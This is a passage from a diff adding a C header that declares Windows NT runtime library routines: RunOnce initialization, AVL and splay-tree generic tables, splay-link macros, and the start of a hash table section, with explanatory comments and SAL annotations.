PRTL_RUN_ONCE_INIT_FN InitFn, + _Inout_opt_ PVOID Parameter, + _Outptr_opt_result_maybenull_ PVOID* Context +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlRunOnceBeginInitialize( + _Inout_ PRTL_RUN_ONCE RunOnce, + _In_ ULONG Flags, + _Outptr_opt_result_maybenull_ PVOID* Context +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlRunOnceComplete( + _Inout_ PRTL_RUN_ONCE RunOnce, + _In_ ULONG Flags, + _In_opt_ PVOID Context +); + +#endif // NTDDI_VERSION >= NTDDI_LONGHORN + +#endif // !_KERNEL_MODE + +// +// AVL Trees +// + +#ifndef _KERNEL_MODE + +// +// This enumerated type is used as the function return value of the function +// that is used to search the tree for a key. FoundNode indicates that the +// function found the key. Insert as left indicates that the key was not found +// and the node should be inserted as the left child of the parent. Insert as +// right indicates that the key was not found and the node should be inserted +// as the right child of the parent. +// +typedef enum _TABLE_SEARCH_RESULT { + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +// +// The results of a compare can be less than, equal, or greater than. +// + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +// +// Define the Avl version of the generic table package. Note a generic table +// should really be an opaque type. We provide routines to manipulate the structure. +// +// A generic table is package for inserting, deleting, and looking up elements +// in a table (e.g., in a symbol table). To use this package the user +// defines the structure of the elements stored in the table, provides a +// comparison function, a memory allocation function, and a memory +// deallocation function. +// +// Note: the user compare function must impose a complete ordering among +// all of the elements, and the table does not allow for duplicate entries. +// + +// +// Add an empty typedef so that functions can reference the +// a pointer to the generic table struct before it is declared. +// + +struct _RTL_AVL_TABLE; + +// +// The comparison function takes as input pointers to elements containing +// user defined structures and returns the results of comparing the two +// elements. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_AVL_COMPARE_ROUTINE) +RTL_GENERIC_COMPARE_RESULTS +NTAPI +RTL_AVL_COMPARE_ROUTINE( + _In_ struct _RTL_AVL_TABLE* Table, + _In_ PVOID FirstStruct, + _In_ PVOID SecondStruct +); +typedef RTL_AVL_COMPARE_ROUTINE* PRTL_AVL_COMPARE_ROUTINE; + +// +// The allocation function is called by the generic table package whenever +// it needs to allocate memory for the table. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_AVL_ALLOCATE_ROUTINE) +__drv_allocatesMem(Mem) +PVOID +NTAPI +RTL_AVL_ALLOCATE_ROUTINE( + _In_ struct _RTL_AVL_TABLE* Table, + _In_ ULONG ByteSize +); +typedef RTL_AVL_ALLOCATE_ROUTINE* PRTL_AVL_ALLOCATE_ROUTINE; + +// +// The deallocation function is called by the generic table package whenever +// it needs to deallocate memory from the table that was allocated by calling +// the user supplied allocation function. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_AVL_FREE_ROUTINE) +VOID +NTAPI +RTL_AVL_FREE_ROUTINE( + _In_ struct _RTL_AVL_TABLE* Table, + _In_ __drv_freesMem(Mem) _Post_invalid_ PVOID Buffer +); +typedef RTL_AVL_FREE_ROUTINE* PRTL_AVL_FREE_ROUTINE; + +// +// The match function takes as input the user data to be matched and a pointer +// to some match data, which was passed along with the function pointer. It +// returns TRUE for a match and FALSE for no match. +// +// RTL_AVL_MATCH_FUNCTION returns +// STATUS_SUCCESS if the IndexRow matches +// STATUS_NO_MATCH if the IndexRow does not match, but the enumeration should +// continue +// STATUS_NO_MORE_MATCHES if the IndexRow does not match, and the enumeration +// should terminate +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_AVL_MATCH_FUNCTION) +NTSTATUS +NTAPI +RTL_AVL_MATCH_FUNCTION( + _In_ struct _RTL_AVL_TABLE* Table, + _In_ PVOID UserData, + _In_ PVOID MatchData +); +typedef RTL_AVL_MATCH_FUNCTION* PRTL_AVL_MATCH_FUNCTION; + +// +// Define the balanced tree links and Balance field. (No Rank field +// defined at this time.) +// +// Callers should treat this structure as opaque! +// +// The root of a balanced binary tree is not a real node in the tree +// but rather points to a real node which is the root. It is always +// in the table below, and its fields are used as follows: +// +// Parent Pointer to self, to allow for detection of the root. +// LeftChild NULL +// RightChild Pointer to real root +// Balance Undefined, however it is set to a convenient value +// (depending on the algorithm) prior to rebalancing +// in insert and delete routines. +// + +typedef struct _RTL_BALANCED_LINKS { + struct _RTL_BALANCED_LINKS* Parent; + struct _RTL_BALANCED_LINKS* LeftChild; + struct _RTL_BALANCED_LINKS* RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS; +typedef RTL_BALANCED_LINKS* PRTL_BALANCED_LINKS; + +// +// To use the generic table package the user declares a variable of type +// GENERIC_TABLE and then uses the routines described below to initialize +// the table and to manipulate the table. Note that the generic table +// should really be an opaque type. +// + +typedef struct _RTL_AVL_TABLE { + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE; +typedef RTL_AVL_TABLE* PRTL_AVL_TABLE; + +// +// The procedure InitializeGenericTable takes as input an uninitialized +// generic table variable and pointers to the three user supplied routines. +// This must be called for every individual generic table variable before +// it can be used. +// + +NTSYSAPI +VOID +NTAPI +RtlInitializeGenericTableAvl( + _Out_ PRTL_AVL_TABLE Table, + _In_ PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + _In_ PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + _In_ PRTL_AVL_FREE_ROUTINE FreeRoutine, + _In_opt_ PVOID TableContext +); + +// +// The function InsertElementGenericTable will insert a new element +// in a table. It does this by allocating space for the new element +// (this includes AVL links), inserting the element in the table, and +// then returning to the user a pointer to the new element. If an element +// with the same key already exists in the table the return value is a pointer +// to the old element. The optional output parameter NewElement is used +// to indicate if the element previously existed in the table. Note: the user +// supplied Buffer is only used for searching the table, upon insertion its +// contents are copied to the newly created element. This means that +// pointer to the input buffer will not point to the new element. +// + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PBOOLEAN NewElement +); + +// +// The function InsertElementGenericTableFull will insert a new element +// in a table. It does this by allocating space for the new element +// (this includes AVL links), inserting the element in the table, and +// then returning to the user a pointer to the new element. If an element +// with the same key already exists in the table the return value is a pointer +// to the old element. The optional output parameter NewElement is used +// to indicate if the element previously existed in the table. Note: the user +// supplied Buffer is only used for searching the table, upon insertion its +// contents are copied to the newly created element. This means that +// pointer to the input buffer will not point to the new element. +// This routine is passed the NodeOrParent and SearchResult from a +// previous RtlLookupElementGenericTableFull. +// + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PBOOLEAN NewElement, + _In_ PVOID NodeOrParent, + _In_ TABLE_SEARCH_RESULT SearchResult +); + +// +// The function DeleteElementGenericTable will find and delete an element +// from a generic table. If the element is located and deleted the return +// value is TRUE, otherwise if the element is not located the return value +// is FALSE. The user supplied input buffer is only used as a key in +// locating the element in the table. +// + +NTSYSAPI +BOOLEAN +NTAPI +RtlDeleteElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer +); + +// +// The function DeleteElementGenericTableAvxEx deletes the element specified +// by the NodeOrParent pointer. This element user data pointer must have first +// been obtained with RtlLookupElementGenericTableFull. +// + +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +VOID +NTAPI +RtlDeleteElementGenericTableAvlEx( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID NodeOrParent +); +#endif // NTDDI_VERSION >= NTDDI_WIN8 + +// +// The function LookupElementGenericTable will find an element in a generic +// table. If the element is located the return value is a pointer to +// the user defined structure associated with the element, otherwise if +// the element is not located the return value is NULL. The user supplied +// input buffer is only used as a key in locating the element in the table. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer +); + +// +// The function LookupElementGenericTableFull will find an element in a generic +// table. If the element is located the return value is a pointer to +// the user defined structure associated with the element. If the element is not +// located then a pointer to the parent for the insert location is returned. The +// user must look at the SearchResult value to determine which is being returned. +// The user can use the SearchResult and parent for a subsequent FullInsertElement +// call to optimize the insert. +// + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID* NodeOrParent, + _Out_ TABLE_SEARCH_RESULT* SearchResult +); + +// +// The function EnumerateGenericTable will return to the caller one-by-one +// the elements of of a table. The return value is a pointer to the user +// defined structure associated with the element. The input parameter +// Restart indicates if the enumeration should start from the beginning +// or should return the next element. If the are no more new elements to +// return the return value is NULL. As an example of its use, to enumerate +// all of the elements in a table the user would write: +// +// for (ptr = EnumerateGenericTable(Table, TRUE); +// ptr != NULL; +// ptr = EnumerateGenericTable(Table, FALSE)) { +// : +// } +// +// NOTE: This routine does not modify the structure of the tree, but saves +// the last node returned in the generic table itself, and for this +// reason requires exclusive access to the table for the duration of +// the enumeration. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ BOOLEAN Restart +); + +// +// The function EnumerateGenericTableWithoutSplaying will return to the +// caller one-by-one the elements of of a table. The return value is a +// pointer to the user defined structure associated with the element. +// The input parameter RestartKey indicates if the enumeration should +// start from the beginning or should return the next element. If the +// are no more new elements to return the return value is NULL. As an +// example of its use, to enumerate all of the elements in a table the +// user would write: +// +// RestartKey = NULL; +// for (ptr = EnumerateGenericTableWithoutSplaying(Table, &RestartKey); +// ptr != NULL; +// ptr = EnumerateGenericTableWithoutSplaying(Table, &RestartKey)) { +// : +// } +// +// If RestartKey is NULL, the package will start from the least entry in the +// table, otherwise it will start from the last entry returned. +// +// NOTE: This routine does not modify either the structure of the tree +// or the generic table itself, but must insure that no deletes +// occur for the duration of the enumeration, typically by having +// at least shared access to the table for the duration. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplayingAvl( + _In_ PRTL_AVL_TABLE Table, + _Inout_ PVOID* RestartKey +); + +// +// RtlLookupFirstMatchingElementGenericTableAvl will return the left-most +// element in the tree matching the data in Buffer. If, for example, the tree +// contains filenames there may exist several that differ only in case. A case- +// blind searcher can use this routine to position himself in the tree at the +// first match, and use an enumeration routine (such as RtlEnumerateGenericTableWithoutSplayingAvl +// to return each subsequent match. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlLookupFirstMatchingElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID* RestartKey +); + +// +// The function EnumerateGenericTableLikeADirectory will return to the +// caller one-by-one the elements of of a table. The return value is a +// pointer to the user defined structure associated with the element. +// The input parameter RestartKey indicates if the enumeration should +// start from the beginning or should return the next element. If the +// are no more new elements to return the return value is NULL. As an +// example of its use, to enumerate all of the elements in a table the +// user would write: +// +// RestartKey = NULL; +// for (ptr = EnumerateGenericTableLikeADirectory(Table, &RestartKey, ...); +// ptr != NULL; +// ptr = EnumerateGenericTableLikeADirectory(Table, &RestartKey, ...)) { +// : +// } +// +// If RestartKey is NULL, the package will start from the least entry in the +// table, otherwise it will start from the last entry returned. +// +// NOTE: This routine does not modify either the structure of the tree +// or the generic table itself. The table must only be acquired +// shared for the duration of this call, and all synchronization +// may optionally be dropped between calls. Enumeration is always +// correctly resumed in the most efficient manner possible via the +// IN OUT parameters provided. +// +// ****** Explain NextFlag. Directory enumeration resumes from a key +// requires more thought. Also need the match pattern and IgnoreCase. +// Should some structure be introduced to carry it all? +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableLikeADirectory( + _In_ PRTL_AVL_TABLE Table, + _In_opt_ PRTL_AVL_MATCH_FUNCTION MatchFunction, + _In_opt_ PVOID MatchData, + _In_ ULONG NextFlag, + _Inout_ PVOID* RestartKey, + _Inout_ PULONG DeleteCount, + _In_ PVOID Buffer +); + +// +// The function GetElementGenericTable will return the i'th element +// inserted in the generic table. I = 0 implies the first element, +// I = (RtlNumberGenericTableElements(Table)-1) will return the last element +// inserted into the generic table. The type of I is ULONG. Values +// of I > than (NumberGenericTableElements(Table)-1) will return NULL. If +// an arbitrary element is deleted from the generic table it will cause +// all elements inserted after the deleted element to "move up". + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlGetElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ ULONG I +); + +// +// The function NumberGenericTableElements returns a ULONG value +// which is the number of generic table elements currently inserted +// in the generic table. + +NTSYSAPI +ULONG +NTAPI +RtlNumberGenericTableElementsAvl( + _In_ PRTL_AVL_TABLE Table +); + +// +// The function IsGenericTableEmpty will return to the caller TRUE if +// the input table is empty (i.e., does not contain any elements) and +// FALSE otherwise. +// + +// +// Generic extensions for using generic structures with the avl libraries. +// +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmptyAvl( + _In_ PRTL_AVL_TABLE Table +); + +#endif // !_KERNEL_MODE + +// +// SPlay linked +// + +#ifndef _KERNEL_MODE + +// +// Define the splay links and the associated manipuliation macros and +// routines. Note that the splay_links should be an opaque type. +// Routine are provided to traverse and manipulate the structure. +// + +typedef struct _RTL_SPLAY_LINKS { + struct _RTL_SPLAY_LINKS* Parent; + struct _RTL_SPLAY_LINKS* LeftChild; + struct _RTL_SPLAY_LINKS* RightChild; +} RTL_SPLAY_LINKS; +typedef RTL_SPLAY_LINKS* PRTL_SPLAY_LINKS; + +#if !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +FORCEINLINE +VOID +RtlInitializeSplayLinks( + _Out_ PRTL_SPLAY_LINKS Links +) +//++ +// +// The procedure InitializeSplayLinks takes as input a pointer to +// splay link and initializes its substructure. All splay link nodes must +// be initialized before they are used in the different splay routines and +// macros. +// +//-- +{ + Links->Parent = Links; + Links->LeftChild = NULL; + Links->RightChild = NULL; +} + +#endif // !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +// +// The macro function Parent takes as input a pointer to a splay link in a +// tree and returns a pointer to the splay link of the parent of the input +// node. If the input node is the root of the tree the return value is +// equal to the input value. +// +// PRTL_SPLAY_LINKS +// RtlParent ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlParent(Links) ( \ + (PRTL_SPLAY_LINKS)(Links)->Parent \ + ) + +// +// The macro function LeftChild takes as input a pointer to a splay link in +// a tree and returns a pointer to the splay link of the left child of the +// input node. If the left child does not exist, the return value is NULL. +// +// PRTL_SPLAY_LINKS +// RtlLeftChild ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlLeftChild(Links) ( \ + (PRTL_SPLAY_LINKS)(Links)->LeftChild \ + ) + +// +// The macro function RightChild takes as input a pointer to a splay link +// in a tree and returns a pointer to the splay link of the right child of +// the input node. If the right child does not exist, the return value is +// NULL. +// +// PRTL_SPLAY_LINKS +// RtlRightChild ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlRightChild(Links) ( \ + (PRTL_SPLAY_LINKS)(Links)->RightChild \ + ) + +// +// The macro function IsRoot takes as input a pointer to a splay link +// in a tree and returns TRUE if the input node is the root of the tree, +// otherwise it returns FALSE. +// +// BOOLEAN +// RtlIsRoot ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlIsRoot(Links) ( \ + (RtlParent(Links) == (PRTL_SPLAY_LINKS)(Links)) \ + ) + +// +// The macro function IsLeftChild takes as input a pointer to a splay link +// in a tree and returns TRUE if the input node is the left child of its +// parent, otherwise it returns FALSE. +// +// BOOLEAN +// RtlIsLeftChild ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlIsLeftChild(Links) ( \ + (RtlLeftChild(RtlParent(Links)) == (PRTL_SPLAY_LINKS)(Links)) \ + ) + +// +// The macro function IsRightChild takes as input a pointer to a splay link +// in a tree and returns TRUE if the input node is the right child of its +// parent, otherwise it returns FALSE. +// +// BOOLEAN +// RtlIsRightChild ( +// PRTL_SPLAY_LINKS Links +// ); +// + +#define RtlIsRightChild(Links) ( \ + (RtlRightChild(RtlParent(Links)) == (PRTL_SPLAY_LINKS)(Links)) \ + ) + + +#if !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +FORCEINLINE +VOID +RtlInsertAsLeftChild( + _Inout_ PRTL_SPLAY_LINKS ParentLinks, + _Inout_ PRTL_SPLAY_LINKS ChildLinks +) +//++ +// +// The procedure InsertAsLeftChild takes as input a pointer to a splay +// link in a tree and a pointer to a node not in a tree. It inserts the +// second node as the left child of the first node. The first node must not +// already have a left child, and the second node must not already have a +// parent. +// +//-- +{ + ParentLinks->LeftChild = ChildLinks; + ChildLinks->Parent = ParentLinks; +} + +FORCEINLINE +VOID +RtlInsertAsRightChild( + _Inout_ PRTL_SPLAY_LINKS ParentLinks, + _Inout_ PRTL_SPLAY_LINKS ChildLinks +) +//++ +// +// The procedure InsertAsRightChild takes as input a pointer to a splay +// link in a tree and a pointer to a node not in a tree. It inserts the +// second node as the right child of the first node. The first node must not +// already have a right child, and the second node must not already have a +// parent. +// +//-- +{ + ParentLinks->RightChild = ChildLinks; + ChildLinks->Parent = ParentLinks; +} + +#endif // !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +// +// The Splay function takes as input a pointer to a splay link in a tree +// and splays the tree. Its function return value is a pointer to the +// root of the splayed tree. +// + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSplay( + _Inout_ PRTL_SPLAY_LINKS Links +); + +// +// The Delete function takes as input a pointer to a splay link in a tree +// and deletes that node from the tree. Its function return value is a +// pointer to the root of the tree. If the tree is now empty, the return +// value is NULL. +// + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlDelete( + _In_ PRTL_SPLAY_LINKS Links +); + +// +// The DeleteNoSplay function takes as input a pointer to a splay link in a tree, +// the caller's pointer to the root of the tree and deletes that node from the +// tree. Upon return the caller's pointer to the root node will correctly point +// at the root of the tree. +// +// It operationally differs from RtlDelete only in that it will not splay the tree. +// + +NTSYSAPI +VOID +NTAPI +RtlDeleteNoSplay( + _In_ PRTL_SPLAY_LINKS Links, + _Inout_ PRTL_SPLAY_LINKS* Root +); + +// +// The SubtreeSuccessor function takes as input a pointer to a splay link +// in a tree and returns a pointer to the successor of the input node of +// the substree rooted at the input node. If there is not a successor, the +// return value is NULL. +// + +_Must_inspect_result_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreeSuccessor( + _In_ PRTL_SPLAY_LINKS Links +); + +// +// The SubtreePredecessor function takes as input a pointer to a splay link +// in a tree and returns a pointer to the predecessor of the input node of +// the substree rooted at the input node. If there is not a predecessor, +// the return value is NULL. +// + +_Must_inspect_result_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreePredecessor( + _In_ PRTL_SPLAY_LINKS Links +); + +// +// The RealSuccessor function takes as input a pointer to a splay link +// in a tree and returns a pointer to the successor of the input node within +// the entire tree. If there is not a successor, the return value is NULL. +// + +_Must_inspect_result_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlRealSuccessor( + _In_ PRTL_SPLAY_LINKS Links +); + +// +// The RealPredecessor function takes as input a pointer to a splay link +// in a tree and returns a pointer to the predecessor of the input node +// within the entire tree. If there is not a predecessor, the return value +// is NULL. +// + +_Must_inspect_result_ +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlRealPredecessor( + _In_ PRTL_SPLAY_LINKS Links +); + +#endif // !_KERNEL_MODE + +// +// Generic table +// + +#ifndef _KERNEL_MODE + +// +// Define the generic table package. Note a generic table should really +// be an opaque type. We provide routines to manipulate the structure. +// +// A generic table is package for inserting, deleting, and looking up elements +// in a table (e.g., in a symbol table). To use this package the user +// defines the structure of the elements stored in the table, provides a +// comparison function, a memory allocation function, and a memory +// deallocation function. +// +// Note: the user compare function must impose a complete ordering among +// all of the elements, and the table does not allow for duplicate entries. +// + +// +// Do not do the following defines if using Avl +// + +#ifndef RTL_USE_AVL_TABLES + +// +// Add an empty typedef so that functions can reference the +// a pointer to the generic table struct before it is declared. +// + +struct _RTL_GENERIC_TABLE; + +// +// The comparison function takes as input pointers to elements containing +// user defined structures and returns the results of comparing the two +// elements. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_GENERIC_COMPARE_ROUTINE) +RTL_GENERIC_COMPARE_RESULTS +NTAPI +RTL_GENERIC_COMPARE_ROUTINE( + _In_ struct _RTL_GENERIC_TABLE* Table, + _In_ PVOID FirstStruct, + _In_ PVOID SecondStruct +); +typedef RTL_GENERIC_COMPARE_ROUTINE* PRTL_GENERIC_COMPARE_ROUTINE; + +// +// The allocation function is called by the generic table package whenever +// it needs to allocate memory for the table. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_GENERIC_ALLOCATE_ROUTINE) +__drv_allocatesMem(Mem) +PVOID +NTAPI +RTL_GENERIC_ALLOCATE_ROUTINE( + _In_ struct _RTL_GENERIC_TABLE* Table, + _In_ ULONG ByteSize +); +typedef RTL_GENERIC_ALLOCATE_ROUTINE* PRTL_GENERIC_ALLOCATE_ROUTINE; + +// +// The deallocation function is called by the generic table package whenever +// it needs to deallocate memory from the table that was allocated by calling +// the user supplied allocation function. +// + +typedef +_IRQL_requires_same_ +_Function_class_(RTL_GENERIC_FREE_ROUTINE) +VOID +NTAPI +RTL_GENERIC_FREE_ROUTINE( + _In_ struct _RTL_GENERIC_TABLE* Table, + _In_ __drv_freesMem(Mem) _Post_invalid_ PVOID Buffer +); +typedef RTL_GENERIC_FREE_ROUTINE* PRTL_GENERIC_FREE_ROUTINE; + +// +// To use the generic table package the user declares a variable of type +// GENERIC_TABLE and then uses the routines described below to initialize +// the table and to manipulate the table. Note that the generic table +// should really be an opaque type. +// + +typedef struct _RTL_GENERIC_TABLE { + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE; +typedef RTL_GENERIC_TABLE* PRTL_GENERIC_TABLE; + +// +// The procedure InitializeGenericTable takes as input an uninitialized +// generic table variable and pointers to the three user supplied routines. +// This must be called for every individual generic table variable before +// it can be used. +// + +NTSYSAPI +VOID +NTAPI +RtlInitializeGenericTable( + _Out_ PRTL_GENERIC_TABLE Table, + _In_ PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + _In_ PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + _In_ PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + _In_opt_ PVOID TableContext +); + +// +// The function InsertElementGenericTable will insert a new element +// in a table. It does this by allocating space for the new element +// (this includes splay links), inserting the element in the table, and +// then returning to the user a pointer to the new element. If an element +// with the same key already exists in the table the return value is a pointer +// to the old element. The optional output parameter NewElement is used +// to indicate if the element previously existed in the table. Note: the user +// supplied Buffer is only used for searching the table, upon insertion its +// contents are copied to the newly created element. This means that +// pointer to the input buffer will not point to the new element. +// + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PBOOLEAN NewElement +); + +// +// The function InsertElementGenericTableFull will insert a new element +// in a table. It does this by allocating space for the new element +// (this includes splay links), inserting the element in the table, and +// then returning to the user a pointer to the new element. If an element +// with the same key already exists in the table the return value is a pointer +// to the old element. The optional output parameter NewElement is used +// to indicate if the element previously existed in the table. Note: the user +// supplied Buffer is only used for searching the table, upon insertion its +// contents are copied to the newly created element. This means that +// pointer to the input buffer will not point to the new element. +// This routine is passed the NodeOrParent and SearchResult from a +// previous RtlLookupElementGenericTableFull. +// + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTableFull( + _In_ PRTL_GENERIC_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PBOOLEAN NewElement, + _In_ PVOID NodeOrParent, + _In_ TABLE_SEARCH_RESULT SearchResult +); + +// +// The function DeleteElementGenericTable will find and delete an element +// from a generic table. If the element is located and deleted the return +// value is TRUE, otherwise if the element is not located the return value +// is FALSE. The user supplied input buffer is only used as a key in +// locating the element in the table. +// + +NTSYSAPI +BOOLEAN +NTAPI +RtlDeleteElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ PVOID Buffer +); + +// +// The function LookupElementGenericTable will find an element in a generic +// table. If the element is located the return value is a pointer to +// the user defined structure associated with the element, otherwise if +// the element is not located the return value is NULL. The user supplied +// input buffer is only used as a key in locating the element in the table. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ PVOID Buffer +); + +// +// The function LookupElementGenericTableFull will find an element in a generic +// table. If the element is located the return value is a pointer to +// the user defined structure associated with the element. If the element is not +// located then a pointer to the parent for the insert location is returned. The +// user must look at the SearchResult value to determine which is being returned. +// The user can use the SearchResult and parent for a subsequent FullInsertElement +// call to optimize the insert. +// + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTableFull( + _In_ PRTL_GENERIC_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID* NodeOrParent, + _Out_ TABLE_SEARCH_RESULT* SearchResult +); + +// +// The function EnumerateGenericTable will return to the caller one-by-one +// the elements of of a table. The return value is a pointer to the user +// defined structure associated with the element. The input parameter +// Restart indicates if the enumeration should start from the beginning +// or should return the next element. If the are no more new elements to +// return the return value is NULL. As an example of its use, to enumerate +// all of the elements in a table the user would write: +// +// for (ptr = EnumerateGenericTable(Table, TRUE); +// ptr != NULL; +// ptr = EnumerateGenericTable(Table, FALSE)) { +// : +// } +// +// +// PLEASE NOTE: +// +// If you enumerate a GenericTable using RtlEnumerateGenericTable, you +// will flatten the table, turning it into a sorted linked list. +// To enumerate the table without perturbing the splay links, use +// RtlEnumerateGenericTableWithoutSplaying + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ BOOLEAN Restart +); + +// +// The function EnumerateGenericTableWithoutSplaying will return to the +// caller one-by-one the elements of of a table. The return value is a +// pointer to the user defined structure associated with the element. +// The input parameter RestartKey indicates if the enumeration should +// start from the beginning or should return the next element. If the +// are no more new elements to return the return value is NULL. As an +// example of its use, to enumerate all of the elements in a table the +// user would write: +// +// RestartKey = NULL; +// for (ptr = EnumerateGenericTableWithoutSplaying(Table, &RestartKey); +// ptr != NULL; +// ptr = EnumerateGenericTableWithoutSplaying(Table, &RestartKey)) { +// : +// } +// +// If RestartKey is NULL, the package will start from the least entry in the +// table, otherwise it will start from the last entry returned. +// +// +// Note that unlike RtlEnumerateGenericTable, this routine will NOT perturb +// the splay order of the tree. +// + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying( + _In_ PRTL_GENERIC_TABLE Table, + _Inout_ PVOID* RestartKey +); + +// +// The function GetElementGenericTable will return the i'th element +// inserted in the generic table. I = 0 implies the first element, +// I = (RtlNumberGenericTableElements(Table)-1) will return the last element +// inserted into the generic table. The type of I is ULONG. Values +// of I > than (NumberGenericTableElements(Table)-1) will return NULL. If +// an arbitrary element is deleted from the generic table it will cause +// all elements inserted after the deleted element to "move up". + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlGetElementGenericTable( + _In_ PRTL_GENERIC_TABLE Table, + _In_ ULONG I +); + +// +// The function NumberGenericTableElements returns a ULONG value +// which is the number of generic table elements currently inserted +// in the generic table. + +NTSYSAPI +ULONG +NTAPI +RtlNumberGenericTableElements( + _In_ PRTL_GENERIC_TABLE Table +); + +// +// The function IsGenericTableEmpty will return to the caller TRUE if +// the input table is empty (i.e., does not contain any elements) and +// FALSE otherwise. +// + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmpty( + _In_ PRTL_GENERIC_TABLE Table +); + +#endif // RTL_USE_AVL_TABLES + +#endif // !_KERNEL_MODE + +// +// Hash Table +// + +#ifndef _KERNEL_MODE + +// +// The hash table header structure can either be allocated +// by the caller, or by the hash table creation function itself. +// This flag indicates what was done at creation time. +// +#define RTL_HASH_ALLOCATED_HEADER 0x00000001 + +// +// The RTL_HASH_RESERVED_SIGNATURE is the signature used internally for +// enumerators. A caller can never assign this signature to +// valid entries. +// +#define RTL_HASH_RESERVED_SIGNATURE 0 + + +typedef struct 